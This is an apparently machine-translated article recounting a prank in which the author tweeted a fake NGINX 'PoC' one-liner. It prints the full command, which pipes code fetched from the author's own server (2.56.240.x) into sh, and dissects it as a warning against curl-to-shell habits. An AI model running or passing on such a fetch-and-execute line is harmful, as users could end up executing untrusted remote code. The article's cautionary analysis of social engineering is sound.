Bemærk. overs.:
TL;DR: Brug ikke filpipelining i sh eller bash under nogen omstændigheder. Dette er en fantastisk måde at miste kontrollen over din computer på.
Jeg vil gerne dele en kort historie med dig om en komisk PoC-benyttelse, der blev skabt den 31. maj. Han dukkede op prompte som svar på nyheder fra
Da jeg var færdig med at arbejde på en ny sløringsteknik i curl, citerede jeg det originale tweet og "lækkede en fungerende PoC" bestående af en enkelt kodelinje, der angiveligt udnytter den opdagede sårbarhed. Det var selvfølgelig fuldstændig nonsens. Jeg gik ud fra, at jeg straks ville blive afsløret, og at jeg i bedste fald ville få et par retweets (nåja).
Jeg kunne dog ikke forestille mig, hvad der derefter skete. Mit tweets popularitet steg i vejret. Overraskende nok, i øjeblikket (kl. 15 Moskva-tid 00. juni) har få mennesker indset, at dette er en falsk. Mange mennesker retweet det uden at tjekke det overhovedet (endsige at beundre den dejlige ASCII-grafik, den udsender).
Se bare hvor smukt det er!
Selvom alle disse sløjfer og farver er fantastiske, er det klart, at folk skulle køre kode på deres maskine for at se dem. Heldigvis fungerer browsere på samme måde, og kombineret med det faktum, at jeg egentlig ikke ønskede at komme i juridiske problemer, lavede koden, der var begravet på mit websted, bare ekkoopkald uden at forsøge at installere eller udføre yderligere kode.
Lille digression:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Socio-elektronisk teknik (S.E.E.) er mere end blot phishing
Sikkerhed og fortrolighed var en stor del af dette eksperiment. Jeg tror, det er dem, der førte til hans succes. Kommandolinjen antydede klart sikkerhed ved at henvise til "127.0.0.1" (den velkendte localhost). Localhost anses for at være sikker, og dataene på den forlader aldrig din computer.
Kendskab var den anden nøgle S.E.E.-komponent i eksperimentet. Da målgruppen primært bestod af folk, der var fortrolige med det grundlæggende i computersikkerhed, var det vigtigt at lave kode, så dele af den virkede bekendt og velkendt (og derfor sikker). At låne elementer af gamle udnyttelseskoncepter og kombinere dem på en usædvanlig måde har vist sig at være meget vellykket.
Nedenfor er en detaljeret analyse af one-liner. Alt på denne liste slides kosmetisk natur, og praktisk talt intet kræves til dens faktiske drift.
Hvilke komponenter er egentlig nødvendige? Det her -gsS
, -O 0x0238f06a
, |sh
og selve webserveren. Webserveren indeholdt ingen ondsindede instruktioner, men serverede blot ASCII-grafik ved hjælp af kommandoer echo
i scriptet indeholdt i index.html
. Når brugeren indtastede en linje med |sh
i midten, index.html
indlæst og udført. Heldigvis havde webserverens vogtere ingen dårlige hensigter.
-
../../../%00
— repræsenterer at gå ud over biblioteket; -
ngx_stream_module.so
— sti til et tilfældigt NGINX-modul; -
/bin/sh%00<'protocol:TCP'
- Vi lancerer angiveligt/bin/sh
på målmaskinen og omdiriger outputtet til TCP-kanalen; -
-O 0x0238f06a#PLToffset
- hemmelig ingrediens, suppleret#PLToffset
, for at ligne en hukommelsesoffset på en eller anden måde indeholdt i PLT'en; -
|sh;
- endnu et vigtigt fragment. Vi var nødt til at omdirigere outputtet til sh/bash for at udføre koden, der kommer fra den angribende webserver, der er placeret på0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- en dummy, som netcat henviser til/dev/tcp/localhost
så alt ser sikkert ud igen. Faktisk gør det ingenting og er inkluderet i linjen for skønhed.
Dette afslutter afkodningen af scriptet med én linje og diskussionen af aspekter af "socio-elektronisk ingeniørarbejde" (indviklet phishing).
Webserverkonfiguration og modforanstaltninger
Da langt størstedelen af mine abonnenter er infosec/hackere, besluttede jeg mig for at gøre webserveren lidt mere modstandsdygtig over for "interessetilkendegivelser" fra deres side, bare for at fyrene skulle have noget at lave (og det ville være sjovt at Opsætning). Jeg vil ikke nævne alle faldgruberne her, da eksperimentet stadig er i gang, men her er et par ting, serveren gør:
- Overvåger aktivt distributionsforsøg på visse sociale netværk og erstatter forskellige forhåndsvisningsminiaturebilleder for at tilskynde brugeren til at klikke på linket.
- Omdirigerer Chrome/Mozilla/Safari/etc til Thugcrowd-kampagnevideoen i stedet for at vise shell-scriptet.
- Holder øje med åbenbare tegn på indtrængen/åbent hacking og begynder derefter at omdirigere anmodninger til NSA-servere (ha!).
- Installerer en trojansk hest såvel som et BIOS-rootkit på alle computere, hvis brugere besøger værten fra en almindelig browser (bare for sjov!).
En lille del af antimers
I dette tilfælde var mit eneste mål at mestre nogle af funktionerne i Apache - især de fede regler for omdirigering af anmodninger - og jeg tænkte: hvorfor ikke?
NGINX udnyttelse (rigtig!)
Tilmeld dig
Kilde: www.habr.com